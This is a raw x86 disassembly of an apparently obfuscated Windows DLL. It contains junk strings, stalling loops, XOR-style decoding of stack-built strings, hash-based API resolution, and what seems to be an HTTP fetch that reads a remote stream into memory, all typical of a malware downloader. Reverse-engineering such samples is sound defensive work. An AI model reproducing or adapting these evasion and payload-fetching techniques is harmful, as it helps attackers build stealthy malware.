jmp 0x1002c809
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x294], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002c7fc
mov dword [ebp - 0x14], ebx
jmp 0x1002c825
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x21c], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1002c814
cmp dword [ebp - 0x294], ebx
jne 0x1002c839
mov eax, dword [ebp - 0x184]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x184]
mov eax, dword [ebp - 0x294]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x188]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x21c], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jle 0x1002c7f7
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
push ecx
push 0x4268
push ecx
lea eax, [ebp - 0x224]
xor dl, dl
push eax
lea ecx, [ebp - 0x26c]
call fcn.1002b058
add esp, 0x10
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jle 0x1002c72f
cmp dword [ebp - 0x1c], 0x1fe8
jge 0x1002c8b1
push str.ivui_wmjslq_tajczz_djdi_zkysu_cin
call fcn.1003bcd0
pop ecx
mov dword [ebp - 4], 7
jmp 0x1002c8c9
push ecx
lea edx, [ebp - 0x55]
mov byte [ebp - 0x55], bl
mov cl, 1
call fcn.1002b601
pop ecx
push 0x34
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x160], 0x70080d1d
mov dword [ebp - 0x15c], 0x7c200101
mov dword [ebp - 0x158], 0x44224425
mov dword [ebp - 0x154], 0x110091c
mov dword [ebp - 0x150], 0x1c0f1c13
mov dword [ebp - 0x14c], 0x14141c0e
mov dword [ebp - 0x148], 0x721b0805
mov dword [ebp - 0x144], 0xa0b7a0d
mov dword [ebp - 0x140], 0xe030521
mov byte [ebp - 0x13c], 7
mov byte [ebp - 0x13b], bl
mov byte [ebp - 0x13a], 0x24
mov byte [ebp - 0x139], bl
mov dword [ebp - 0x138], 0x6e041518
mov dword [ebp - 0x134], 0x40c731a
mov dword [ebp - 0x130], 0x70177002
mov dword [ebp - 0x12c], 0x69097011
mov word [ebp - 0x128], 0x1f12
mov byte [ebp - 0x126], bl
mov dword [ebp - 0x125], 0x4fb10349
mov dword [ebp - 0x121], 0x153d1eb6
mov dword [ebp - 0x11d], 0x6050a77
mov word [ebp - 0x119], 0x1904
mov byte [ebp - 0x117], bl
mov dword [ebp - 0x116], 0x721f7523
mov word [ebp - 0x112], 0x7616
mov word [ebp - 0x4be], ax
pop esi
mov dword [ebp - 0x164], ecx
cmp esi, 0x3c
jne 0x1002c9df
push 4
pop ecx
push 0x3e
mov dword [ebp - 0x164], ecx
pop esi
jmp 0x1002ca38
movzx edx, byte [ebp + esi - 0x15f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x162]
movzx ecx, word [ebp + eax*2 - 0x4f8]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x160]
add ecx, edx
mov dl, 1
push ecx
mov word [ebp + eax*2 - 0x4f8], cx
lea eax, [ebp - 0x164]
push eax
push ecx
push 0x790
mov ecx, 0x6267
call fcn.1002b058
mov ecx, dword [ebp - 0x164]
add esp, 0x10
add esi, 2
cmp esi, 0x50
jb 0x1002c9cc
xor eax, eax
mov word [ebp - 0x4ac], ax
mov dword [ebp - 0x24], 0x2a26
cmp dword [ebp - 0x24], 0x2bd6
jle 0x1002cb07
push 0x324
push ebx
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
mov ecx, ebx
mov dword [ebp - 0x20], ebx
mov eax, ebx
mov dword [ebp - 0x2c], ebx
mov edx, ecx
mov edi, ebx
mov ecx, eax
mov dword [ebp - 0x1c], edi
sar edx, cl
mov dword [ebp - 0x3c], edx
mov esi, edi
mov edi, 0x5d86
mov eax, esi
lea ecx, [ebp - 0x42c]
and eax, edx
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002caa4
mov eax, dword [eax]
push eax
call fcn.1003bcd0
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x42c]
call fcn.10001623
mov edx, dword [ebp - 0x3c]
dec esi
dec edi
jne 0x1002ca88
mov edi, dword [ebp - 0x1c]
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x6be2
jl 0x1002ca81
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x4c22
jl 0x1002ca73
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x5f61
jl 0x1002ca6e
push ebx
push 0x2f0
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
mov dword [ebp - 0x54], 0x1f2
cmp dword [ebp - 0x24], 0x2689
jge 0x1002cb22
push str.zioqfv_rriuthl_fqj_iwm_kqv_yurcjlat_zvopuvmg_ouoo_ymxcb_kvvmuxs_zufmm
call fcn.1003bcd0
pop ecx
mov dword [ebp - 4], 7
mov dword [ebp - 0x274], 0xa41449c9
mov dword [ebp - 0x27c], 0xfffffffa
mov dword [ebp - 0x64], 0x91df82d8
mov dword [ebp - 0x18], ebx
jmp 0x1002cb5a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x374], 1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002cb49
lea eax, [ebp - 0x54]
mov edx, 0x10c9
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x274]
push eax
push ebx
push ecx
lea eax, [ebp - 0x27c]
push eax
call fcn.1002b34e
add esp, 0x18
mov dword [ebp - 0x64], 2
cmp dword [ebp - 0x64], ebx
jl 0x1002cbb2
mov dword [ebp - 0x54], ebx
jmp 0x1002cba7
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x374], 0xfffffff9
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 3
jl 0x1002cb96
dec dword [ebp - 0x64]
jns 0x1002cb91
xor eax, eax
mov dword [ebp - 0x298], 7
mov word [ebp - 0x2ac], ax
lea ecx, [ebp - 0x2ac]
lea eax, [ebp - 0x4f8]
mov dword [ebp - 0x29c], ebx
push eax
call fcn.10014086
mov byte [ebp - 4], 0x16
mov eax, 0x996a5308
mov dword [ebp - 0x14], ebx
xor edx, edx
mov dword [ebp - 0x25c], eax
inc edx
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], eax
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x1c], 0x320525c7
mov dword [ebp - 0x18], 0xfffffffe
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x1c], 0xc2c6
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jne 0x1002cc2a
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x254]
cmp eax, edx
setge cl
cmp dword [ebp - 0x14], ecx
jne 0x1002cc73
push 0x1af4
push 0x2c77
push edx
push edx
push 0x3da1
push 0x28f3
push ebx
mov edx, 0x6196
mov ecx, 0x2fb3
call fcn.1002b142
add esp, 0x1c
jmp 0x1002cce4
mov dword [ebp - 0x18], 0xfff9
mov dword [ebp - 0x1c], 0x5f402be2
cmp dword [ebp - 0x254], ebx
jge 0x1002cc90
mov esi, edx
cmp dword [ebp - 0x14], ebx
jne 0x1002cc92
mov esi, ebx
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, esi
setg al
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x18]
je 0x1002ccba
cmp dword [ebp - 0x18], ebx
jne 0x1002ccba
mov eax, ebx
jmp 0x1002ccbd
xor eax, eax
inc eax
mov edx, dword [ebp - 0x18]
sub edx, eax
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setle cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], 3
cmp dword [ebp - 0x18], ebx
jl 0x1002cd26
push ecx
push ecx
mov dword [ebp - 0x1c], 0xffffffff
mov edx, 0x1e6d
xor cl, cl
call fcn.1002b668
mov dword [ebp - 0x1c], 0x1ec6
mov eax, dword [ebp - 0x3c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x254]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
add eax, ecx
mov dword [ebp - 0x1c], eax
dec dword [ebp - 0x18]
jns 0x1002ccf0
push 0x13
pop ecx
xor eax, eax
lea edi, [ebp - 0x4f8]
rep stosd dword es:[edi], eax
push 0xfffffffffffffffb
stosw word es:[edi], ax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], 0xafe01bd9
mov dword [ebp - 0x1c], 0xdae8c9f3
mov dword [ebp - 0x1c], 0x6092
pop edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x268], 3
mov dword [ebp - 0x18], 0xfffffff3
jmp 0x1002cd9d
push 0x37ba
push 1
push ebx
lea eax, [ebp - 0x268]
mov dword [ebp - 0x1c], 5
push eax
mov dword [ebp - 0x3c], 0x735e4b78
mov dl, 1
inc dword [ebp - 0x1c]
mov ecx, 0x4cf9
push 0x181c
call fcn.1002b49f
add esp, 0x14
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
jne 0x1002cd66
mov dword [ebp - 0x18], 0xd6c05baf
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x1c], 0xb0866193
mov dword [ebp - 0x1c], 0x98aac1e0
mov dword [ebp - 0x14], ebx
jmp 0x1002cdcd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3c0], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002cdc0
mov dword [ebp - 0x14], ebx
jmp 0x1002cde9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1b4], 0x674fa72d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1002cdd8
mov dword [ebp - 0x18], ebx
jmp 0x1002ce26
mov dword [ebp - 0x1c], 8
xor ecx, ecx
mov dword [ebp - 0x1c], 0x3d2717f4
mov dword [ebp - 0x3c], 0xfffffffc
mov dword [ebp - 0x1c], 0x8f0a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
test eax, eax
setg cl
mov dword [ebp - 0x1c], ecx
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff9
jle 0x1002cdf4
mov dword [ebp - 0x18], ebx
jmp 0x1002ce42
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1cc], 1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002ce31
mov dword [ebp - 0x1cc], 0xffffffe8
jmp 0x1002ce72
push ecx
lea eax, [ebp - 0x59]
mov byte [ebp - 0x59], bl
push eax
push 0x39e3
push ecx
mov cl, 1
call fcn.1002b62a
add esp, 0x10
dec dword [ebp - 0x1cc]
cmp dword [ebp - 0x1cc], 0xffffffe3
jge 0x1002ce54
push 0x72
pop eax
push 0x30
mov byte [ebp - 0xfd], al
mov byte [ebp - 0xf3], al
mov byte [ebp - 0xf1], al
mov byte [ebp - 0xe9], al
pop eax
push 2
mov dword [ebp - 0x110], 0x761ec421
mov dword [ebp - 0x10c], 0x7403761a
mov dword [ebp - 0x108], 0x4c103925
mov dword [ebp - 0x104], 0x710d7323
mov word [ebp - 0x100], 0x700b
mov byte [ebp - 0xfe], 0xf
mov dword [ebp - 0xfc], 0x7517011c
mov dword [ebp - 0xf8], 0x19246813
mov byte [ebp - 0xf4], 6
mov byte [ebp - 0xf2], 0x1d
mov dword [ebp - 0xf0], 0x7b0a7622
mov word [ebp - 0xec], 0x919
mov byte [ebp - 0xea], 0x14
mov dword [ebp - 0xe8], 0x701b7115
mov dword [ebp - 0xe4], 0xa207012
mov dword [ebp - 0xe0], 0x70027f01
mov dword [ebp - 0xdc], 0x1d051b0e
mov dword [ebp - 0xd8], 0x14041d18
mov dword [ebp - 0xd4], 0x3160807
mov dword [ebp - 0xd0], 0x7d1f7611
mov dword [ebp - 0xcc], 0x1a090e0c
mov word [ebp - 0xc8], 0x1b08
mov byte [ebp - 0xc6], bl
mov byte [ebp - 0xc5], 0x4d
mov word [ebp - 0x506], ax
pop esi
movzx eax, byte [ebp + esi - 0x112]
movzx edx, byte [ebp + esi - 0x10f]
movzx ecx, word [ebp + eax*2 - 0x548]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0x110]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0x548], dx
cmp esi, 0x4c
jb 0x1002cf7d
xor eax, eax
mov word [ebp - 0x4fc], ax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], 0xafe01bd9
mov dword [ebp - 0x1c], 0xdae8c9f3
mov dword [ebp - 0x1c], 0x6092
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x264], 3
mov dword [ebp - 0x18], 0xfffffff3
jmp 0x1002d030
push ecx
push ecx
mov dword [ebp - 0x278], 5
lea edx, [ebp - 0x278]
mov dword [ebp - 0x1c], 0x735e4b78
mov cl, 1
call fcn.1002b668
pop ecx
pop ecx
push 0x3540
sub esp, 0x14
lea ecx, [ebp - 0x264]
xor dl, dl
push 0x5b45
call fcn.1002af94
add esp, 0x1c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
jne 0x1002cfee
xor eax, eax
mov dword [ebp - 0x2c4], 7
mov word [ebp - 0x2d8], ax
lea ecx, [ebp - 0x2d8]
lea eax, [ebp - 0x548]
mov dword [ebp - 0x2c8], ebx
push eax
call fcn.10014086
push ecx
mov edx, 0x3345
mov byte [ebp - 4], 0x17
mov cl, 1
call fcn.1002b6b3
pop ecx
push 0x13
pop ecx
xor eax, eax
lea edi, [ebp - 0x548]
rep stosd dword es:[edi], eax
cmp dword [ebp - 0x298], 8
lea ecx, [ebp - 0x3a8]
push ecx
mov esi, 0x2cfc
stosw word es:[edi], ax
lea eax, [ebp - 0x2ac]
cmovae eax, dword [ebp - 0x2ac]
mov edi, 0x81eb
push eax
push esi
push edi
call fcn.1000dfc5
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1002d647
cmp dword [ebp - 0x2c4], 8
lea ecx, [ebp - 0x3b8]
push ecx
lea eax, [ebp - 0x2d8]
cmovae eax, dword [ebp - 0x2d8]
push eax
push esi
push edi
call fcn.1000dfc5
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1002d647
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x3a8]
push eax
push 3
push ebx
lea eax, [ebp - 0x3b8]
push eax
push esi
push 0x1900
call fcn.1000dfc5
pop ecx
pop ecx
call eax
test eax, eax
js 0x1002d647
cmp dword [ebp - 0x4c], 0
je 0x1002d647
push ecx
lea edx, [ebp - 0x358]
mov cl, 1
call fcn.1002b695
pop ecx
push 0x74
pop ecx
xor eax, eax
mov dword [ebp - 0x70], 0x11011002
push 2
mov word [ebp - 0x350], ax
mov edi, ebx
mov al, 2
mov byte [ebp - 0x6c], bl
mov dword [ebp - 0x6b], 0x79660322
mov byte [ebp - 0x67], 0x28
mov word [ebp - 0x19c], cx
pop esi
mov dword [ebp - 0x3c], esi
cmp esi, 0xa
jae 0x1002d23c
movzx eax, al
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x1002d204
mov dword [ebp - 0x1c], 0xf0d
cmp dword [ebp - 0x1c], 0x121d
jle 0x1002d1d6
mov esi, ebx
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x444]
and eax, esi
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002d1ac
mov eax, dword [eax]
push eax
call fcn.1003bcd0
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x444]
call fcn.10001623
inc edi
cmp edi, 0x3f8b
jl 0x1002d190
inc esi
cmp esi, 0x25cf
jl 0x1002d18e
mov esi, dword [ebp - 0x3c]
cmp dword [ebp - 0x1c], 0xcc9
movzx eax, byte [ebp + esi - 0x70]
mov dword [ebp - 0x3c], eax
lea edi, [eax + 1]
jge 0x1002d1f8
push str.maf_nfuobsnme_oae_kewe_nfxawnsgr_riyf_yoq_wnau_uzhp
call fcn.1003bcd0
mov eax, dword [ebp - 0x3c]
pop ecx
dec esi
mov dword [ebp - 4], 0x17
add esi, eax
jmp 0x1002d231
movzx edx, byte [ebp + esi - 0x6f]
mov eax, esi
sub eax, edi
mov edi, ebx
movzx eax, byte [ebp + eax - 0x72]
movzx eax, word [ebp + eax*2 - 0x1a0]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x70]
mov word [ebp + eax*2 - 0x1a0], cx
mov al, byte [ebp - 0x70]
add esi, 2
jmp 0x1002d15e
xor eax, eax
mov dword [ebp - 0x1d0], 7
mov word [ebp - 0x19a], ax
lea ecx, [ebp - 0x1e4]
mov word [ebp - 0x1e4], ax
lea eax, [ebp - 0x1a0]
push eax
mov dword [ebp - 0x1d4], ebx
call fcn.10014086
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x1e4]
mov eax, dword [ebp - 0x1d4]
push 8
pop esi
cmp dword [ebp - 0x1d0], esi
push dword [ebp - 0x1b4]
cmovae ecx, dword [ebp - 0x1e4]
mov dword [ebp - 0x1a0], ebx
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x214], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x210], ebx
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x20c], ebx
cmovae ecx, dword [ebp - 0x1e4]
push eax
push ecx
lea ecx, [ebp - 0x214]
call fcn.1002e003
lea eax, [ebp - 0x200]
mov byte [ebp - 4], 0x1b
push eax
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x200], ebx
call fcn.1002d93c
mov edx, dword [ebp - 0x174]
cmp dword [edx + 0x14], esi
jb 0x1002d2fa
mov ecx, dword [edx]
jmp 0x1002d2fc
mov ecx, edx
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
cmp dword [edx + 0x14], esi
jb 0x1002d309
mov edx, dword [edx]
push dword [ebp - 0x1b4]
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x1f0], ebx
push eax
push edx
mov dword [ebp - 0x1ec], ebx
mov dword [ebp - 0x1e8], ebx
call fcn.1002e003
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x1c
push eax
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x74], ebx
call fcn.1002d93c
cmp dword [ebp - 0x1d0], esi
lea edx, [ebp - 0x1e4]
lea esi, [ebp - 0x328]
mov eax, dword [ebp - 0x4c]
cmovae edx, dword [ebp - 0x1e4]
sub esp, 0x10
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x328]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x358]
push dword [ebp - 0x1f0]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1002d5f5
mov esi, dword [ebp - 0x1c4]
mov cl, 1
mov dword [ebp - 0x170], ebx
cmp esi, dword [ebp - 0x1c0]
je 0x1002d3fc
add esi, 0x18
test cl, cl
je 0x1002d3e4
cmp dword [esi + 0x14], 8
jb 0x1002d3c3
mov edi, dword [esi]
jmp 0x1002d3c5
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1002d3d0
mov edx, dword [esi - 0x18]
jmp 0x1002d3d3
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x4c]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x1002d3e6
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x1c0]
jne 0x1002d3b5
test cl, cl
je 0x1002d5f5
mov eax, dword [ebp - 0x4c]
lea esi, [ebp - 0x328]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1002d5f5
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x170]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1002d5f5
cmp dword [ebp - 0x170], 0x130
je 0x1002d450
cmp dword [ebp - 0x170], 0xc8
jne 0x1002d5f5
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x390]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1002d5f5
mov esi, dword [ebp - 0x388]
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x20], esi
test esi, esi
je 0x1002d5f5
mov eax, dword [esi]
lea ecx, [ebp - 0x590]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x1002d5ef
mov dword [ebp - 0x1c], 0x4f56
cmp dword [ebp - 0x1c], 0x5135
jle 0x1002d528
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0x1926
push 0x15a9
push 0x222c
call esi
mov edi, dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
push eax
push 0xa2f
push 0x20ac
push 0x2634
push 0x1482
call esi
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x74], ebx
mov eax, edi
cdq
idiv ebx
mov eax, esi
mov ecx, edx
sar eax, cl
mov ecx, 0x1006d158
cdq
push edx
push eax
call fcn.100021b6
inc ebx
cmp ebx, 0x63ee
jl 0x1002d4ef
inc edi
push 0
pop ebx
cmp edi, 0x627d
jl 0x1002d4ec
inc esi
cmp esi, 0x5e93
jl 0x1002d4ea
mov esi, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x588]
mov eax, dword [ebp - 0x584]
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x1c], 0x4e95
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], eax
jge 0x1002d556
mov edx, str.ezpmo_amkvse_npqn_uuoedcd_jjhys_jzoi_sept
mov ecx, 0x1006d158
call fcn.100037d8
mov dword [ebp - 4], 0x1c
push ecx
lea eax, [ebp - 0x78]
mov dword [ebp - 0x78], edi
push 0x6de
push eax
mov dl, 1
lea ecx, [ebp - 0x1ac]
call fcn.1002af60
mov edi, ebx
mov dword [ebp - 0x16c], ebx
mov ebx, dword [ebp - 0x78]
add esp, 0xc
mov dword [ebp - 0x1b8], edi
mov eax, dword [ebp - 0x1ac]
lea edx, [ebp - 0x16c]
mov ecx, dword [esi]
add eax, edi
push edx
push ebx
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
js 0x1002d5d7
lea eax, [ebp - 0x16c]
mov dl, 1
push eax
sub esp, 0x14
lea eax, [ebp - 0x1b8]
mov ecx, 0x526c
push eax
call fcn.1002af94
sub ebx, dword [ebp - 0x16c]
add esp, 0x1c
mov edi, dword [ebp - 0x1b8]
cmp edi, dword [ebp - 0x78]
jb 0x1002d58b
cmp edi, dword [ebp - 0x78]
mov eax, dword [ebp - 0x1a8]
cmovne eax, dword [ebp - 0x1ac]
xor ebx, ebx
mov dword [ebp - 0x1a8], eax
mov eax, dword [esi]
push esi
call dword [eax + 8]
push 0x36f1
push 0x1c1d
push 0x7fdb
push 1
push ecx
push 0x251c
lea edx, [ebp - 0x4c]
call fcn.1002b34e
add esp, 0x18
mov dword [ebp - 0x4c], ebx
lea ecx, [ebp - 0x1f0]
call fcn.1002a853
lea ecx, [ebp - 0x214]
call fcn.1002a853
push ebx
push 1
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], 0x17
call fcn.10003fdb
mov esi, 0x2cfc
push esi
push 0x54f4
call fcn.1000dfc5
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x1f4]
lea eax, [ebp - 0x1ac]
push eax
call fcn.1002d887
push ebx
push 1
lea ecx, [ebp - 0x2d8]
call fcn.10003fdb
push ebx
push 1
lea ecx, [ebp - 0x2ac]
call fcn.10003fdb
lea ecx, [ebp - 0x1c4]
call fcn.1002d991
lea ecx, [ebp - 0x1ac]
call fcn.1002da0c
lea ecx, [ebp + 8]
call fcn.1002d991
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret